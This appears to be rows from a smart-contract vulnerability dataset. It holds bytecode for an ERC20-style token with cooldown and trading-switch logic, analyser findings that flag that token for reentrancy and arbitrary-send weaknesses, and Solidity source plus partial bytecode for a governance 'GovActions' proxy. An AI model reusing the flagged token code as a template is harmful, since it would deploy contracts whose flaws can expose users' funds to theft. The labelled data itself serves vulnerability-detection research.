81525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7157600080fd5b505afa158015611f85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa991906128cd565b81600181518110611fe3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ae959493929190613060565b600060405180830381600087803b1580156120c857600080fd5b505af11580156120dc573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000808314156121125760009050612174565b6000828461212091906131b1565b905082848261212f9190613180565b1461216f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216690612f65565b60405180910390fd5b809150505b92915050565b60006121bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061221c565b905092915050565b806121d2576121d161227f565b5b6121dd8484846122c2565b806121eb576121ea61248d565b5b50505050565b60008060006121fe6124a1565b91509150612215818361217a90919063ffffffff16565b9250505090565b60008083118290612263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225a9190612e63565b60405180910390fd5b50600083856122729190613180565b9050809150509392505050565b600060095414801561229357506000600a54145b1561229d576122c0565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806122d487612500565b95509550955095509550955061233286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241381612610565b61241d84836126cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161247a9190613045565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000670de0b6b3a764000090506124d5670de0b6b3a764000060075461217a90919063ffffffff16565b8210156124f357600754670de0b6b3a76400009350935050506124fc565b81819350935050505b9091565b600080600080600080600080600061251d8a600954600a54612707565b925092509250600061252d6121f1565b905060008060006125408e87878761279d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc7565b905092915050565b60008082846125c1919061312a565b905083811015612606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fd90612f05565b60405180910390fd5b8091505092915050565b600061261a6121f1565b9050600061263182846120ff90919063ffffffff16565b905061268581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e28260075461256890919063ffffffff16565b6007819055506126fd816008546125b290919063ffffffff16565b6008819055505050565b6000806000806127336064612725888a6120ff90919063ffffffff16565b61217a90919063ffffffff16565b9050600061275d606461274f888b6120ff90919063ffffffff16565b61217a90919063ffffffff16565b9050600061278682612778858c61256890919063ffffffff16565b61256890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b685896120ff90919063ffffffff16565b905060006127cd86896120ff90919063ffffffff16565b905060006127e487896120ff90919063ffffffff16565b9050600061280d826127ff858761256890919063ffffffff16565b61256890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612835816136dc565b92915050565b60008151905061284a816136dc565b92915050565b60008135905061285f816136f3565b92915050565b600081519050612874816136f3565b92915050565b6000813590506128898161370a565b92915050565b60008151905061289e8161370a565b92915050565b6000602082840312156128b657600080fd5b60006128c484828501612826565b91505092915050565b6000602082840312156128df57600080fd5b60006128ed8482850161283b565b91505092915050565b6000806040838503121561290957600080fd5b600061291785828601612826565b925050602061292885828601612826565b9150509250929050565b60008060006060848603121561294757600080fd5b600061295586828701612826565b935050602061296686828701612826565b92505060406129778682870161287a565b9150509250925092565b6000806040838503121561299457600080fd5b60006129a285828601612826565b92505060206129b38582860161287a565b9150509250929050565b6000602082840312156129cf57600080fd5b60006129dd84828501612850565b91505092915050565b6000602082840312156129f857600080fd5b6000612a0684828501612865565b91505092915050565b600060208284031215612a2157600080fd5b6000612a2f8482850161287a565b91505092915050565b600080600060608486031215612a4d57600080fd5b6000612a5b8682870161288f565b9350506020612a6c8682870161288f565b9250506040612a7d8682870161288f565b9150509250925092565b6000612a938383612a9f565b60208301905092915050565b612aa88161323f565b82525050565b612ab78161323f565b82525050565b6000612ac8826130e5565b612ad28185613108565b9350612add836130d5565b8060005b83811015612b0e578151612af58882612a87565b9750612b00836130fb565b925050600181019050612ae1565b5085935050505092915050565b612b2481613251565b82525050565b612b3381613294565b82525050565b6000612b44826130f0565b612b4e8185613119565b9350612b5e8185602086016132a6565b612b6781613337565b840191505092915050565b6000612b7f602383613119565b9150612b8a82613348565b604082019050919050565b6000612ba2602a83613119565b9150612bad82613397565b604082019050919050565b6000612bc5602283613119565b9150612bd0826133e6565b604082019050919050565b6000612be8602283613119565b9150612bf382613435565b604082019050919050565b6000612c0b601b83613119565b9150612c1682613484565b602082019050919050565b6000612c2e601583613119565b9150612c39826134ad565b602082019050919050565b6000612c51602383613119565b9150612c5c826134d6565b604082019050919050565b6000612c74602183613119565b9150612c7f82613525565b604082019050919050565b6000612c97602083613119565b9150612ca282613574565b602082019050919050565b6000612cba602983613119565b9150612cc58261359d565b604082019050919050565b6000612cdd602583613119565b9150612ce8826135ec565b604082019050919050565b6000612d00602483613119565b9150612d0b8261363b565b604082019050919050565b6000612d23601783613119565b9150612d2e8261368a565b602082019050919050565b6000612d46601883613119565b9150612d51826136b3565b602082019050919050565b612d658161327d565b82525050565b612d7481613287565b82525050565b6000602082019050612d8f6000830184612aae565b92915050565b6000604082019050612daa6000830185612aae565b612db76020830184612aae565b9392505050565b6000604082019050612dd36000830185612aae565b612de06020830184612d5c565b9392505050565b600060c082019050612dfc6000830189612aae565b612e096020830188612d5c565b612e166040830187612b2a565b612e236060830186612b2a565b612e306080830185612aae565b612e3d60a0830184612d5c565b979650505050505050565b6000602082019050612e5d6000830184612b1b565b92915050565b60006020820190508181036000830152612e7d8184612b39565b905092915050565b60006020820190508181036000830152612e9e81612b72565b9050919050565b60006020820190508181036000830152612ebe81612b95565b9050919050565b60006020820190508181036000830152612ede81612bb8565b9050919050565b60006020820190508181036000830152612efe81612bdb565b9050919050565b60006020820190508181036000830152612f1e81612bfe565b9050919050565b60006020820190508181036000830152612f3e81612c21565b9050919050565b60006020820190508181036000830152612f5e81612c44565b9050919050565b60006020820190508181036000830152612f7e81612c67565b9050919050565b60006020820190508181036000830152612f9e81612c8a565b9050919050565b60006020820190508181036000830152612fbe81612cad565b9050919050565b60006020820190508181036000830152612fde81612cd0565b9050919050565b60006020820190508181036000830152612ffe81612cf3565b9050919050565b6000602082019050818103600083015261301e81612d16565b9050919050565b6000602082019050818103600083015261303e81612d39565b9050919050565b600060208201905061305a6000830184612d5c565b92915050565b600060a0820190506130756000830188612d5c565b6130826020830187612b2a565b81810360408301526130948186612abd565b90506130a36060830185612aae565b6130b06080830184612d5c565b9695505050505050565b60006020820190506130cf6000830184612d6b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131358261327d565b91506131408361327d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613175576131746132d9565b5b828201905092915050565b600061318b8261327d565b91506131968361327d565b9250826131a6576131a5613308565b5b828204905092915050565b60006131bc8261327d565b91506131c78361327d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613200576131ff6132d9565b5b828202905092915050565b60006132168261327d565b91506132218361327d565b925082821015613234576132336132d9565b5b828203905092915050565b600061324a8261325d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329f8261327d565b9050919050565b60005b838110156132c45780820151818401526020810190506132a9565b838111156132d3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136e58161323f565b81146136f057600080fd5b50565b6136fc81613251565b811461370757600080fd5b50565b6137138161327d565b811461371e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9426e3dc726caed65e3b7473baea699c1d20f76d8bef40d102ebc055919023164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,355 |
0xd0a2068d337d082d8289856f9238a570beb2e302
|
pragma solidity 0.6.7;
abstract contract Setter {
function modifyParameters(bytes32, address) virtual public;
function modifyParameters(bytes32, uint) virtual public;
function modifyParameters(bytes32, int) virtual public;
function modifyParameters(bytes32, uint, uint) virtual public;
function modifyParameters(bytes32, uint, uint, address) virtual public;
function modifyParameters(bytes32, bytes32, uint) virtual public;
function modifyParameters(bytes32, bytes32, address) virtual public;
function setDummyPIDValidator(address) virtual public;
function addAuthorization(address) virtual public;
function removeAuthorization(address) virtual public;
function initializeCollateralType(bytes32) virtual public;
function updateAccumulatedRate() virtual public;
function redemptionPrice() virtual public;
function setTotalAllowance(address,uint256) virtual external;
function setPerBlockAllowance(address,uint256) virtual external;
function taxMany(uint256, uint256) virtual public;
function taxSingle(bytes32) virtual public;
function setAllowance(address, uint256) virtual external;
function connectSAFESaviour(address) virtual external;
function disconnectSAFESaviour(address) virtual external;
function addReader(address) virtual external;
function removeReader(address) virtual external;
function addAuthority(address) virtual external;
function removeAuthority(address) virtual external;
function changePriceSource(address) virtual external;
function stopFsm(bytes32) virtual external;
function setFsm(bytes32,address) virtual external;
function start() virtual external;
function changeNextPriceDeviation(uint) virtual external;
function setName(string calldata) virtual external;
function setSymbol(string calldata) virtual external;
function disableContract() virtual external;
function toggleSaviour(address) virtual external;
function setMinDesiredCollateralizationRatio(bytes32, uint256) virtual external;
}
abstract contract GlobalSettlementLike {
function shutdownSystem() virtual public;
function freezeCollateralType(bytes32) virtual public;
}
abstract contract PauseLike {
function setOwner(address) virtual public;
function setAuthority(address) virtual public;
function setDelay(uint) virtual public;
function setDelayMultiplier(uint) virtual public;
function setProtester(address) virtual public;
}
abstract contract MerkleDistributorFactoryLike {
function nonce() virtual public view returns (uint256);
function deployDistributor(bytes32, uint256) virtual external;
function sendTokensToDistributor(uint256) virtual external;
function sendTokensToCustom(address, uint256) virtual external;
function dropDistributorAuth(uint256) virtual external;
function getBackTokensFromDistributor(uint256, uint256) virtual external;
}
abstract contract StakingRewardsFactoryLike {
function totalCampaignCount() virtual public view returns (uint256);
function modifyParameters(uint256, bytes32, uint256) virtual public;
function transferTokenOut(address, address, uint256) virtual public;
function deploy(address, uint256, uint256) virtual public;
function notifyRewardAmount(uint256) virtual public;
}
abstract contract DSTokenLike {
function mint(address, uint) virtual public;
function burn(address, uint) virtual public;
}
contract GovActions {
uint constant internal RAY = 10 ** 27;
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "GovActions/sub-uint-uint-underflow");
}
function disableContract(address targetContract) public {
Setter(targetContract).disableContract();
}
function modifyParameters(address targetContract, uint256 campaign, bytes32 parameter, uint256 val) public {
StakingRewardsFactoryLike(targetContract).modifyParameters(campaign, parameter, val);
}
function transferTokenOut(address targetContract, address token, address receiver, uint256 amount) public {
StakingRewardsFactoryLike(targetContract).transferTokenOut(token, receiver, amount);
}
function deploy(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
}
function notifyRewardAmount(address targetContract, uint256 campaignNumber) public {
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function deployAndNotifyRewardAmount(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
uint256 campaignNumber = subtract(StakingRewardsFactoryLike(targetContract).totalCampaignCount(), 1);
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function modifyParameters(address targetContract, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, int data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data1, uint data2) public {
Setter(targetContract).modifyParameters(parameter, data1, data2);
}
function modifyParameters(address targetContract, bytes32 collateralType, uint data1, uint data2, address data3) public {
Setter(targetContract).modifyParameters(collateralType, data1, data2, data3);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
int data1,
int data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 collateralType1,
bytes32 collateralType2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(collateralType1, parameter1, data1);
Setter(targetContract2).modifyParameters(collateralType2, parameter2, data2);
}
function removeAuthorizationAndModify(
address targetContract,
address to,
bytes32 parameter,
uint data
) public {
Setter(targetContract).removeAuthorization(to);
Setter(targetContract).modifyParameters(parameter, data);
}
function updateRateAndModifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).updateAccumulatedRate();
Setter(targetContract).modifyParameters(parameter, data);
}
function taxManyAndModifyParameters(address targetContract, uint start, uint end, bytes32 parameter, uint data) public {
Setter(targetContract).taxMany(start, end);
Setter(targetContract).modifyParameters(parameter, data);
}
function taxSingleAndModifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).taxSingle(collateralType);
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function updateRedemptionRate(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).redemptionPrice();
Setter(targetContract).modifyParameters(parameter, data);
}
function setDummyPIDValidator(address rateSetter, address oracleRelayer, address dummyValidator) public {
Setter(rateSetter).modifyParameters("pidValidator", dummyValidator);
Setter(oracleRelayer).redemptionPrice();
Setter(oracleRelayer).modifyParameters("redemptionRate", RAY);
}
function toggleSaviour(address targetContract, address saviour) public {
Setter(targetContract).toggleSaviour(saviour);
}
function addReader(address validator, address reader) public {
Setter(validator).addReader(reader);
}
function removeReader(address validator, address reader) public {
Setter(validator).removeReader(reader);
}
function addAuthority(address validator, address account) public {
Setter(validator).addAuthority(account);
}
function removeAuthority(address validator, address account) public {
Setter(validator).removeAuthority(account);
}
function connectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).connectSAFESaviour(saviour);
}
function disconnectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).disconnectSAFESaviour(saviour);
}
function setTotalAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setTotalAllowance(account, rad);
}
function setPerBlockAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setPerBlockAllowance(account, rad);
}
function addAuthorization(address targetContract, address to) public {
Setter(targetContract).addAuthorization(to);
}
function removeAuthorization(address targetContract, address to) public {
Setter(targetContract).removeAuthorization(to);
}
function initializeCollateralType(address targetContract, bytes32 collateralType) public {
Setter(targetContract).initializeCollateralType(collateralType);
}
function changePriceSource(address fsm, address priceSource) public {
Setter(fsm).changePriceSource(priceSource);
}
function stopFsm(address fsmGovInterface, bytes32 collateralType) public {
Setter(fsmGovInterface).stopFsm(collateralType);
}
function setFsm(address fsmGovInterface, bytes32 collateralType, address fsm) public {
Setter(fsmGovInterface).setFsm(collateralType, fsm);
}
function start(address fsm) public {
Setter(fsm).start();
}
function setName(address coin, string memory name) public {
Setter(coin).setName(name);
}
function setSymbol(address coin, string memory symbol) public {
Setter(coin).setSymbol(symbol);
}
function changeNextPriceDeviation(address fsm, uint deviation) public {
Setter(fsm).changeNextPriceDeviation(deviation);
}
function shutdownSystem(address globalSettlement) public {
GlobalSettlementLike(globalSettlement).shutdownSystem();
}
function setAuthority(address pause, address newAuthority) public {
PauseLike(pause).setAuthority(newAuthority);
}
function setOwner(address pause, address owner) public {
PauseLike(pause).setOwner(owner);
}
function setProtester(address pause, address protester) public {
PauseLike(pause).setProtester(protester);
}
function setDelay(address pause, uint newDelay) public {
PauseLike(pause).setDelay(newDelay);
}
function setAuthorityAndDelay(address pause, address newAuthority, uint newDelay) public {
PauseLike(pause).setAuthority(newAuthority);
PauseLike(pause).setDelay(newDelay);
}
function setDelayMultiplier(address pause, uint delayMultiplier) public {
PauseLike(pause).setDelayMultiplier(delayMultiplier);
}
function setAllowance(address join, address account, uint allowance) public {
Setter(join).setAllowance(account, allowance);
}
function multiSetAllowance(address join, address[] memory accounts, uint[] memory allowances) public {
for (uint i = 0; i < accounts.length; i++) {
Setter(join).setAllowance(accounts[i], allowances[i]);
}
}
function mint(address token, address guy, uint wad) public {
DSTokenLike(token).mint(guy, wad);
}
function burn(address token, address guy, uint wad) public {
DSTokenLike(token).burn(guy, wad);
}
function deployDistributor(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
}
function deployDistributorAndSendTokens(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
MerkleDistributorFactoryLike(target).sendTokensToDistributor(MerkleDistributorFactoryLike(target).nonce());
}
function sendTokensToDistributor(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).sendTokensToDistributor(id);
}
function sendTokensToCustom(address target, address dst, uint256 amount) public {
MerkleDistributorFactoryLike(target).sendTokensToCustom(dst, amount);
}
function dropDistributorAuth(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).dropDistributorAuth(id);
}
function getBackTokensFromDistributor(address target, uint256 id, uint256 amount) public {
MerkleDistributorFactoryLike(target).getBackTokensFromDistributor(id, amount);
}
function setIncreasingRewardsParams(address target, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
}
function setIncreasingRewardsParamsAndAllowances(address target, address treasury, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward, uint256 perBlockAllowance, uint256 totalAllowance) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
Setter(treasury).setPerBlockAllowance(target, perBlockAllowance);
Setter(treasury).setTotalAllowance(target, totalAllowance);
}
function setMinDesiredCollateralizationRatio(address target, bytes32 collateralType, uint256 cRatio) public {
Setter(target).setMinDesiredCollateralizationRatio(collateralType, cRatio);
}
}
|
0x608060405234801561001057600080fd5b50600436106103af5760003560e01c80637eb711df116101f4578063c9cf6de71161011a578063eb57563a116100ad578063f74b020c1161007c578063f74b020c14611130578063f7788dc61461116c578063f98e426a1461119e578063fe71d56d146111d4576103af565b8063eb57563a1461105e578063ecf987ef14611090578063f35a75e0146110c2578063f6b911bc146110fa576103af565b8063dd0b281e116100e9578063dd0b281e14610f2a578063e1d936f814610f50578063e7796f3314611004578063eb40b42514611032576103af565b8063c9cf6de714610e64578063cd4f191b14610e92578063d9c6f87614610ebe578063da46098c14610ef4576103af565b8063a27473c811610192578063bbbb704c11610161578063bbbb704c14610c95578063bbcf1a5d14610dc8578063c2c7986714610df6578063c6c3bbe614610e2e576103af565b8063a27473c814610be1578063af5baa1414610c0f578063b66503cf14610c3b578063baf9d07b14610c67576103af565b806396074fd2116101ce57806396074fd214610b0257806396869ded14610b305780639bc8c65714610b85578063a154ce8214610bbb576103af565b80637eb711df14610a5e578063801b67fd14610a945780638eb0ee6014610acc576103af565b80634483c924116102d957806366892430116102775780636f64a97d116102465780636f64a97d1461096457806372a61178146109a257806373986106146109ea578063764838c514610a22576103af565b8063668924301461087c578063671384fa146108ae5780636d21e4e2146108f05780636ea83dd31461091c576103af565b80635622b051116102b35780635622b051146107b45780635dac5682146107e25780635dadd57a146108105780636672b1371461084a576103af565b80634483c9241461070c5780634850356814610754578063505f74f114610782576103af565b80632b0466c51161035157806332dc77231161032057806332dc772314610648578063352e1a851461067657806339f8c5bb146106a8578063434eff7f146106d4576103af565b80632b0466c51461050e5780632b8e88b3146105405780633013f41e1461056e5780633121db1c14610594576103af565b80631693769b1161038d5780631693769b1461044c5780631cdcb5ce14610488578063284372e8146104b4578063299a7bcc146104e0576103af565b806303cb351c146103b457806308eb17f5146103ec57806310c630991461041e575b600080fd5b6103ea600480360360608110156103ca57600080fd5b506001600160a01b03813581169160208101359091169060400135611210565b005b6103ea6004803603606081101561040257600080fd5b506001600160a01b03813516906020810135906040013561128d565b6103ea6004803603604081101561043457600080fd5b506001600160a01b038135811691602001351661132e565b6103ea6004803603608081101561046257600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356113a2565b6103ea6004803603604081101561049e57600080fd5b506001600160a01b038135169060200135611419565b6103ea600480360360408110156104ca57600080fd5b506001600160a01b03813516906020013561145f565b6103ea600480360360408110156104f657600080fd5b506001600160a01b03813581169160200135166114a5565b6103ea6004803603606081101561052457600080fd5b506001600160a01b0381351690602081013590604001356114fd565b6103ea6004803603604081101561055657600080fd5b506001600160a01b038135811691602001351661154b565b6103ea6004803603602081101561058457600080fd5b50356001600160a01b03166115a3565b6103ea600480360360408110156105aa57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105d457600080fd5b8201836020820111156105e657600080fd5b803590602001918460018302840111600160201b8311171561060757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506115f9945050505050565b6103ea6004803603604081101561065e57600080fd5b506001600160a01b038135811691602001351661169f565b6103ea6004803603606081101561068c57600080fd5b506001600160a01b0381351690602081013590604001356116f7565b6103ea600480360360408110156106be57600080fd5b506001600160a01b038135169060200135611745565b6103ea600480360360808110156106ea57600080fd5b506001600160a01b03813516906020810135906040810135906060013561178b565b6103ea600480360360c081101561072257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a001356117e1565b6103ea6004803603604081101561076a57600080fd5b506001600160a01b03813581169160200135166119d6565b6103ea6004803603606081101561079857600080fd5b506001600160a01b038135169060208101359060400135611a2e565b6103ea600480360360408110156107ca57600080fd5b506001600160a01b0381358116916020013516611a7c565b6103ea600480360360408110156107f857600080fd5b506001600160a01b0381358116916020013516611ad4565b6103ea6004803603608081101561082657600080fd5b506001600160a01b0381358116916020810135916040820135916060013516611b2c565b6103ea6004803603606081101561086057600080fd5b506001600160a01b038135169060208101359060400135611b85565b6103ea6004803603606081101561089257600080fd5b506001600160a01b038135169060208101359060400135611c9d565b6103ea600480360360a08110156108c457600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160809091013516611ceb565b6103ea6004803603604081101561090657600080fd5b506001600160a01b038135169060200135611d6a565b6103ea600480360360c081101561093257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611db0565b6103ea600480360360a081101561097a57600080fd5b506001600160a01b038135169060208101359060408101359060608101359060800135611e64565b6103ea600480360360c08110156109b857600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611f18565b6103ea60048036036080811015610a0057600080fd5b506001600160a01b038135169060208101359060408101359060600135611fcc565b6103ea60048036036080811015610a3857600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135612022565b6103ea60048036036060811015610a7457600080fd5b506001600160a01b0381358116916020810135916040909101351661207c565b6103ea60048036036080811015610aaa57600080fd5b506001600160a01b0381351690602081013590604081013590606001356120dc565b6103ea60048036036060811015610ae257600080fd5b506001600160a01b03813581169160208101359160409091013516612132565b6103ea60048036036040811015610b1857600080fd5b506001600160a01b0381358116916020013516612192565b6103ea6004803603610100811015610b4757600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a08101359060c08101359060e001356121ea565b6103ea60048036036060811015610b9b57600080fd5b506001600160a01b038135811691602081013590911690604001356122d0565b6103ea60048036036020811015610bd157600080fd5b50356001600160a01b0316612330565b6103ea60048036036040811015610bf757600080fd5b506001600160a01b038135811691602001351661236b565b6103ea60048036036040811015610c2557600080fd5b506001600160a01b0381351690602001356123c3565b6103ea60048036036040811015610c5157600080fd5b506001600160a01b038135169060200135612409565b6103ea60048036036040811015610c7d57600080fd5b506001600160a01b038135811691602001351661244f565b6103ea60048036036060811015610cab57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610cd557600080fd5b820183602082011115610ce757600080fd5b803590602001918460208302840111600160201b83111715610d0857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610d5757600080fd5b820183602082011115610d6957600080fd5b803590602001918460208302840111600160201b83111715610d8a57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506124a7945050505050565b6103ea60048036036040811015610dde57600080fd5b506001600160a01b0381358116916020013516612563565b6103ea60048036036060811015610e0c57600080fd5b506001600160a01b0381358116916020810135821691604090910135166125bb565b6103ea60048036036060811015610e4457600080fd5b506001600160a01b038135811691602081013590911690604001356126f0565b6103ea60048036036040811015610e7a57600080fd5b506001600160a01b0381358116916020013516612750565b6103ea60048036036040811015610ea857600080fd5b506001600160a01b0381351690602001356127a8565b6103ea60048036036060811015610ed457600080fd5b506001600160a01b038135811691602081013590911690604001356127ee565b6103ea60048036036060811015610f0a57600080fd5b506001600160a01b038135811691602081013590911690604001356128a4565b6103ea60048036036020811015610f4057600080fd5b50356001600160a01b0316612904565b6103ea60048036036040811015610f6657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610f9057600080fd5b820183602082011115610fa257600080fd5b803590602001918460018302840111600160201b83111715610fc357600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061293f945050505050565b6103ea6004803603604081101561101a57600080fd5b506001600160a01b0381358116916020013516612996565b6103ea6004803603604081101561104857600080fd5b506001600160a01b0381351690602001356129ee565b6103ea6004803603606081101561107457600080fd5b506001600160a01b038135169060208101359060400135612a34565b6103ea600480360360608110156110a657600080fd5b506001600160a01b038135169060208101359060400135612a6f565b6103ea600480360360808110156110d857600080fd5b506001600160a01b038135169060208101359060408101359060600135612abd565b6103ea6004803603606081101561111057600080fd5b506001600160a01b03813581169160208101359091169060400135612b71565b6103ea6004803603608081101561114657600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612bd1565b6103ea6004803603606081101561118257600080fd5b506001600160a01b038135169060208101359060400135612c8f565b6103ea600480360360608110